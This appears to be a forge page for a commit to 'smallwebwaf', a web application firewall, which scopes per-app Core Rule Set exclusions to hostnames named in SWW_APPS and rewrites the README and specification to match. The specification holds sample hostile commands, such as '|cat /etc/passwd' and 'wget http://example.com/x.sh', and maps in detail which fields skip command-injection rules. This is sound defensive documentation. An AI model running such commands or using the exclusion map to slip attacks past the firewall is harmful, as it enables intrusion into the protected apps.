sneak/smallwebwaf
1
0 Fork 0
Code Issues 21 Pull Requests 6 Actions 3 Packages Projects Releases Wiki Activity

SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)
check / check (push) Failing after 18m2s
Details

Browse Source 
Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-10 09:03:37 +00:00
1 parent 463a19ef2a
commit 4bceebfae2
21 files changed
+1244 -531
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

README.md
+27 -22
View File
@@ -221,7 +221,7 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default:
| Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
@@ -280,6 +280,7 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -581,27 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set:
- gitea: git over HTTP and sign-in through Git Credential Manager get
through. On gitea's own paths, its searches, file names and branch names
do too.
- WordPress: saving a post from the block editor gets through. On
WordPress's own paths, its searches, names and file names do too.
- Drupal: on Drupal's own paths, the page to return to, its searches and its
names get through.
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
wikitext get through.
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
posts and deliveries from other servers get through.
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
addresses and encrypted file names get through.
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
WebDAV methods, searches, file names, account names, comments and
documents do too.
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them.
- Each supported app also has its own fixes, which let its ordinary requests
through. Its recorded ordinary requests pass the Core Rule Set at the default
settings. The supported apps, by their names in `SWW_APPS`, are:
- `gitea`, whose fixes let its searches, file names and branch names
through;
- `wordpress`, whose fixes let through its searches, its names, its file
names and a post saved from the block editor;
- `drupal`, whose fixes let through the page to return to, its searches and
its names;
- `mediawiki`, whose fixes let through its searches, its page titles, its
names and its wikitext;
- `mastodon`, whose fixes let through its searches, its names, its email
addresses, its posts and deliveries from other servers;
- `vaultwarden`, whose fixes let through its names, its password hints, its
email addresses and its encrypted file names;
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes, and a hostname it does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
SPEC.md
+387 -362
View File
@@ -81,8 +81,8 @@ to them.
of bans is full.
- `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the fourteen changes
listed under "Attack detection", as Coraza directives.
- `internal/coreruleset`: the Core Rule Set, with the six changes and the
apps' fixes listed under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup
database.
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions. The eighth to fourteenth changes below hold
those of the apps they name.
holds an app's own exclusions; the apps' fixes below hold those of each app
`SWW_APPS` takes.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,23 +723,14 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
it would refuse ordinary requests to these apps:
- gitea;
- WordPress;
- Drupal;
- MediaWiki;
- Mastodon;
- Vaultwarden;
- Nextcloud.
The changes hold in front of every app, and no setting undoes them:
`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of
gitea it would otherwise refuse ordinary requests. The changes hold in front of
every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them.
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
fourteenth change allows the WebDAV methods Nextcloud uses.
Other methods stay refused, except on Nextcloud's WebDAV paths, where
Nextcloud's fixes allow the WebDAV methods Nextcloud uses.
2. The request header `Expect` is allowed, since curl and git send it before
some large uploads. `Content-Encoding` is allowed on a request whose body the
Core Rule Set does not read, which by default is every request. git
@@ -747,15 +738,68 @@ The changes hold in front of every app, and no setting undoes them:
the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
body the fourteenth change leaves unread. The other headers the Core Rule Set
body Nextcloud's fixes leave unread. The other headers the Core Rule Set
refuses, such as `Proxy`, stay refused.
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
`http://127.0.0.1` on the user's own machine. The server never fetches that
address.
4. Ten query parameters are not checked against the Core Rule Set's lists of
system files (930120), shell paths (932160) and command names (932260):
4. `Referer` is not checked for a Unix command given without arguments (932340),
for Java starting a process (944110) or for a Java class name (944130).
`Referer` names the page a request comes from, on everything that page loads
and on every link followed from it. The Core Rule Set takes some page
addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the other
rules, except after some gitea searches (gitea's fixes). An app that passes
`Referer` to a shell must check it itself.
5. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
6. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
Each supported app also has its own fixes, which let its ordinary requests
through. `SWW_APPS` says which hostnames get which app's fixes:
- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
then one or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The request's `Host` is matched by exact name, without its port and without
regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in full.
Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
the check of any other app that serves the same paths or fields.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and
one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
1. Ten query parameters are not checked against the Core Rule Set's lists of
system files (930120), shell paths (932160) and command names (932260), on
any path:
- `path`, `files`, `skip-to` and `sub_path`;
- `ref`, `sha`, `branch` and `workflow`;
- `artifactName` and `redirect_to`.
@@ -767,43 +811,19 @@ The changes hold in front of every app, and no setting undoes them:
or `docker-build`. In these parameters, what only these three rules would
catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules. The eighth to
fourteenth changes switch some of them off for some fields on the paths of
the apps they name. An app that uses one of these parameters as a file on
the server, or passes it to a shell, must check the value itself. A rule
file can refuse it instead.
still refused there. Other parameters keep all three rules, except on the
paths named in gitea's third fix and in the other apps' fixes.
5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
2. The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies. gitea puts a message naming what was just done into
`gitea_flash`. It puts into `redirect_to` the page to return to after
signing in. The Core Rule Set takes file names in them, such as
`package.json`, for attacks. A browser sends such a cookie with every
request until gitea replaces it. gitea cannot replace it while those
requests are refused, so one refusal would keep the browser out of the
whole site. gitea shows the message with any script removed and returns
only to its own pages. Every other cookie is read in full. An app that
reads a cookie of either name must check it itself.
- `Referer` is not checked for a Unix command given without arguments
(932340), for Java starting a process (944110) or for a Java class name
(944130). `Referer` names the page a request comes from, on everything
that page loads and on every link followed from it. The Core Rule Set
takes some page addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the
other rules, except after some gitea searches (the eighth change). An
app that passes `Referer` to a shell must check it itself.
6. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
7. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
8. On gitea's paths, some fields skip the rules that refused ordinary gitea
`gitea_flash`. It puts into `redirect_to` the page to return to after signing
in. The Core Rule Set takes file names in them, such as `package.json`, for
attacks. A browser sends such a cookie with every request until gitea
replaces it. gitea cannot replace it while those requests are refused, so one
refusal would keep the browser out of the whole site. gitea shows the message
with any script removed and returns only to its own pages. Every other cookie
is read in full.
3. On gitea's paths, some fields skip the rules that refused ordinary gitea
requests there. They are the fields where gitea sends a search, a file name
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
request it refused. The fields are:
@@ -821,8 +841,7 @@ The changes hold in front of every app, and no setting undoes them:
- packages.
A user's or an organisation's page is any path of one segment, so on
every such path, on any app, `q` skips these three rules, for example on
`/search`.
every such path `q` skips these three rules, for example on `/search`.
Some of these searches also skip the rule for Java class names (944130),
which refused `org.apache.commons.logging`.
@@ -860,108 +879,104 @@ The changes hold in front of every app, and no setting undoes them:
`actions/upload-artifact@v3` (920450).
Elsewhere these fields keep every rule. The paths are those of gitea at the
site root. An app other than gitea that serves one of them must check these
fields itself.
site root.
9. On WordPress's paths, some fields skip the rules that refused ordinary
WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
rule and the request it refused. The REST API has four addresses:
- `/wp-json/...`
- `/index.php/wp-json/...`
- `/index.php?rest_route=/...`
- `/?rest_route=/...`
WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
each rule and the request it refused. The REST API has four addresses:
The fields are:
- The header `X-HTTP-Method-Override` on any address of the REST API
(920450). The block editor saves a post with `POST` and names `PUT` in
this header.
- Three groups of fields skip the rules on system files and commands
(930120, 932120, 932250, 932260). The fields hold searches, names and
addresses of WordPress's own pages, and any of them can hold any word. The
groups are:
- `/wp-json/...`
- `/index.php/wp-json/...`
- `/index.php?rest_route=/...`
- `/?rest_route=/...`
The fields are:
- The header `X-HTTP-Method-Override` on any address of the REST API (920450).
The block editor saves a post with `POST` and names `PUT` in this header.
- Three groups of fields skip the rules on system files and commands (930120,
932120, 932250, 932260). The fields hold searches, names and addresses of
WordPress's own pages, and any of them can hold any word. The groups are:
- On all of `/wp-admin/` and on `/wp-login.php`:
- the searches `s`, `search`, `q` and `term`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
and `stylesheet`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and
`stylesheet`;
- the name of a plugin's settings page in `page`;
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
and `_wp_http_referer`.
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and
`_wp_http_referer`.
- On every REST API route under `/wp/v2/` and on the route
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
`tag`.
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`.
The addresses of the first group also skip the rule on Unix commands
(932235), because an address repeats the search it came from. The other
fields of the groups keep that rule.
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
of PowerShell commands and command names (932120, 932260):
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of
PowerShell commands and command names (932120, 932260):
- the name of a template in `p` and `postId` of the site editor;
- the name of a plugin to install in `slug`.
WordPress writes these names as slugs, such as `htaccess` and `ls-la`.
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
(930120, 932120). The block editor's link previews and embeds send an
address in this field.
(930120, 932120). The block editor's link previews and embeds send an address
in this field.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
without arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
for the lists of system files, shell paths, command names and JavaScript
names (930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter
of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved
through the REST API. It holds HTML and any code it shows.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without
arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for
the lists of system files, shell paths, command names and JavaScript names
(930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of
that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved through
the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor,
which is PHP.
- `newcontent` of a plugin's or a theme's file saved from its editor, which
is PHP.
- `pwd` when signing in, for the list of system files (930120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
route under `/wp/v2/`, for the rules on system files and commands
(930120, 932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
the lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site,
for the lists of system files and PowerShell commands (930120,
932120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API route
under `/wp/v2/`, for the rules on system files and commands (930120,
932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the
lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site, for
the lists of system files and PowerShell commands (930120, 932120).
Elsewhere this change does not apply. The paths are those of WordPress at
the site root. An app other than WordPress that serves one of them must
check these fields itself.
Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at
the site root.
10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
requests there. `internal/coreruleset/drupal.conf` lists each rule and the
request it refused. These query fields skip the lists of system files and
command names (930120, 932120, 932250, 932260):
- On every page under `/admin`: `title`, `name`, `user`, `filename`,
`filemime`, `info`, `subject`, `author_name`, `search`, `q` and
`destination`.
- `destination` on the pages Drupal links to with one, such as these:
Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each
rule and the request it refused. These query fields skip the lists of system
files and command names (930120, 932120, 932250, 932260):
- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`,
`info`, `subject`, `author_name`, `search`, `q` and `destination`.
- `destination` on the pages Drupal links to with one, such as these:
- `/node/1/edit`;
- `/user/login`;
- `/node/1/revisions/2/revert`;
- `/block/add/basic`;
- `/big_pipe/no-js`.
- `keys` on `/search` and the pages under it.
- `q` on these autocompletes:
- `keys` on `/search` and the pages under it.
- `q` on these autocompletes:
- `/entity_reference_autocomplete/`;
- `/ckeditor5/{editor}/entity-link-suggestions`;
- `/block-category/autocomplete`.
- Every `filter[...]` field on `/jsonapi/`.
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the
query or a body.
- Every `filter[...]` field on `/jsonapi/`.
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query
or a body.
`destination` also skips 932230 and 932235, because it holds the address of
a page of results. `url` on `/media/oembed`, the address of a video, skips
only 930120 and 932120.
`destination` also skips 932230 and 932235, because it holds the address of a
page of results. `url` on `/media/oembed`, the address of a video, skips only
930120 and 932120.
These fields of a body skip the rules that refused them:
- On the node, comment and media forms, for 930120, 932120, 932250 and
932260:
These fields of a body skip the rules that refused them:
- On the node, comment and media forms, for 930120, 932120, 932250 and 932260:
- the title;
- the summary;
- the tags;
@@ -970,11 +985,11 @@ The changes hold in front of every app, and no setting undoes them:
- the comment subject;
- the media name;
- the image text.
- On the tag, custom block and contact forms, for the same four rules:
- On the tag, custom block and contact forms, for the same four rules:
- the tag's name and description;
- the block description and body;
- the subject and message of a contact message.
- These fields through JSON:API, for the same four rules:
- These fields through JSON:API, for the same four rules:
- `title`;
- `subject`;
- `body.summary`;
@@ -982,34 +997,34 @@ The changes hold in front of every app, and no setting undoes them:
- `revision_log`;
- `info`;
- `description.value`.
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
four rules.
- The body and comment body on the node and comment forms and through
JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on
- The body and comment body on the node and comment forms and through JSON:API,
which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
- `name` when signing up, editing an account and commenting without an
account, for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only.
- `mail` in that same reset, for 932120 and 932260 only.
- `name` when signing up, editing an account and commenting without an account,
for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name.
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is
any first path segment of two or three lowercase letters, optionally
followed by a hyphen and more letters, so `/api` counts too. An app other
than Drupal that serves one of them must check these fields itself.
Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any
first path segment of two or three lowercase letters, optionally followed by a
hyphen and more letters, so `/api` counts too.
11. On MediaWiki's paths, some fields skip the rules that refused ordinary
MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each
rule and the request it refused. These fields skip the lists of system files
and command names (930120, 932120, 932250, 932260), in the query or the
body:
- On MediaWiki's pages, which are `/index.php` and the paths under
`/index.php/` and `/wiki/`:
MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused
ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists
each rule and the request it refused. These fields skip the lists of system
files and command names (930120, 932120, 932250, 932260), in the query or the
body:
- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/`
and `/wiki/`:
- the searches `search` and `ilsearch`;
- the titles `title`, `page` and `target`;
- `from`, `to` and `prefix`, which limit a list of pages;
@@ -1017,16 +1032,16 @@ The changes hold in front of every app, and no setting undoes them:
- the file names `filename` and `wpDestFile`;
- `returnto` and `returntoquery`, the page and query to go back to after
signing in.
- On `/api.php`:
- On `/api.php`:
- the searches `search`, `srsearch` and `pssearch`;
- the titles `titles`, `title`, `page` and `bltitle`;
- `from` and `to`, the titles of a page being moved;
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
`aiprefix`, `aufrom` and `auprefix`;
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`,
`aufrom` and `auprefix`;
- `letitle`, the page whose log is listed;
- `euquery`, an address;
- the fields a generator sends in place of the fields above, each with a
`g` in front:
- the fields a generator sends in place of the fields above, each with a `g`
in front:
- `gsrsearch` and `gpssearch`;
- `gapfrom`, `gapto` and `gapprefix`;
- `gaifrom` and `gaiprefix`;
@@ -1035,96 +1050,97 @@ The changes hold in front of every app, and no setting undoes them:
- the user names `ucuser`, `bkusers` and `user`;
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
- `q` on `/rest.php/` and the paths under it.
- `q` on `/rest.php/` and the paths under it.
`modules` on `/load.php` skips 930120 alone, because it lists the scripts
and styles a page loads.
`modules` on `/load.php` skips 930120 alone, because it lists the scripts and
styles a page loads.
These fields of a body skip the rules that refused them:
- On MediaWiki's pages, for the same four rules:
These fields of a body skip the rules that refused them:
- On MediaWiki's pages, for the same four rules:
- `wpSummary`, the summary of an edit;
- `wpUploadDescription`, the description of an uploaded file;
- `wpName` and `wpPassword`, for signing in;
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the
admin pages:
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin
pages:
- `wpReason-other`, for blocking a user;
- `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It always skips
930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
starting with a command name, such as `Python3 notes`, passes. So does a
command alone on a line, such as `wget http://example.com/x.sh`. A command
such as `; wget http://example.com/x.sh` is still refused. So is a list
that mixes a title holding one of these characters with a title starting
with a command name.
- The wikitext of a page, which holds templates, tables and any code it
shows:
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It always skips 930120,
932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only
when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a
command name, such as `Python3 notes`, passes. So does a command alone on a
line, such as `wget http://example.com/x.sh`. A command such as
`; wget http://example.com/x.sh` is still refused. So is a list that mixes a
title holding one of these characters with a title starting with a command
name.
- The wikitext of a page, which holds templates, tables and any code it shows:
- `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on
`/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded.
MediaWiki refuses a file whose extension it does not allow.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
file whose extension it does not allow.
`/index.php` itself counts as MediaWiki's only when its query has a `title`,
as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A
wiki without short URLs serves its pages under `/index.php/`, as in
`/index.php/Main_Page`, and its sign-in and upload forms post there.
`/index.php` itself counts as MediaWiki's only when its query has a `title`, as
in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki
without short URLs serves its pages under `/index.php/`, as in
`/index.php/Main_Page`, and its sign-in and upload forms post there.
Elsewhere these fields keep every rule. The paths are those of MediaWiki at
the site root or under `/w/`. An app other than MediaWiki that serves one of
them must check these fields itself.
Elsewhere these fields keep every rule. The paths are those of MediaWiki at the
site root or under `/w/`.
12. On Mastodon's paths, some fields skip the rules that refused ordinary
Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each
rule and the request it refused. These fields skip the lists of system files
and command names (930120, 932120, 932250, 932260), in the query:
- On the API's search, accounts and admin accounts, under `/api/v1/` and
`/api/v2/`, the searches and names `q`, `acct`, `username`,
`display_name`, `email` and `by_domain`.
- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
`/admin/tags`, the searches `username`, `display_name`, `email`,
`by_domain`, `shortcode` and `name`.
- `q` on `/search`, the web app's search page.
Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused
ordinary Mastodon requests there. `internal/coreruleset/mastodon.conf` lists
each rule and the request it refused. These fields skip the lists of system
files and command names (930120, 932120, 932250, 932260), in the query:
These fields of a body skip the same four rules:
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths
under them:
- On the API's search, accounts and admin accounts, under `/api/v1/` and
`/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`,
`email` and `by_domain`.
- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
`/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`,
`shortcode` and `name`.
- `q` on `/search`, the web app's search page.
These fields of a body skip the same four rules:
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under
them:
- `statuses`, `media` and `reports`;
- `accounts` and `profile`;
- `lists`, `filters` and `featured_tags`;
- the admin API's `accounts`, `domain_blocks` and `ip_blocks`.
- On those resources, these fields:
- On those resources, these fields:
- `spoiler_text` and `poll[options][]`, for posting;
- `description`, of an uploaded file;
- `display_name`, `note` and the names and values of
`fields_attributes`, for a profile;
- `title`, `keyword`, the keywords of `keywords_attributes` and `name`,
for lists, filters and hashtags;
- `comment`, `text`, `private_comment` and `public_comment`, for
reports, notes, warnings and blocks;
- `display_name`, `note` and the names and values of `fields_attributes`,
for a profile;
- `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for
lists, filters and hashtags;
- `comment`, `text`, `private_comment` and `public_comment`, for reports,
notes, warnings and blocks;
- in JSON, as the web app sends them:
- `spoiler_text`, `title` and the options of `poll`;
- `description`, and the descriptions in `media_attributes`;
- `display_name`, `note` and the names and values of
`fields_attributes`;
- `comment`.
- On these admin pages, and the paths under them:
- On these admin pages, and the paths under them:
- `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`;
- `/admin/announcements` and `/admin/settings`;
- `/admin/accounts/<id>/action`;
- `/admin/report_notes` and `/admin/account_moderation_notes`;
- `/admin/warning_presets` and `/admin/roles`;
- `/admin/terms_of_service`.
- On those pages, these fields:
- On those pages, these fields:
- `domain_block[private_comment]` and `domain_block[public_comment]`;
- `ip_block[comment]`;
- `rule[text]` and `rule[hint]`;
@@ -1137,223 +1153,232 @@ The changes hold in front of every app, and no setting undoes them:
- `account_warning_preset[title]` and `account_warning_preset[text]`;
- `user_role[name]`;
- `terms_of_service[text]` and `terms_of_service[changelog]`.
- On these settings and sign-in pages, and the paths under them:
- On these settings and sign-in pages, and the paths under them:
- `/filters`;
- `/settings/applications` and `/settings/aliases`;
- `/settings/migration` and `/settings/delete`;
- `/auth`.
- On those pages, these fields:
- On those pages, these fields:
- `custom_filter[title]` and its keywords;
- `doorkeeper_application[name]` and `doorkeeper_application[website]`;
- `account_alias[acct]` and `account_migration[acct]`;
- `user[password]`, `user[password_confirmation]` and
`user[current_password]`;
- `user[invite_request_attributes][text]`, why someone asks to sign up;
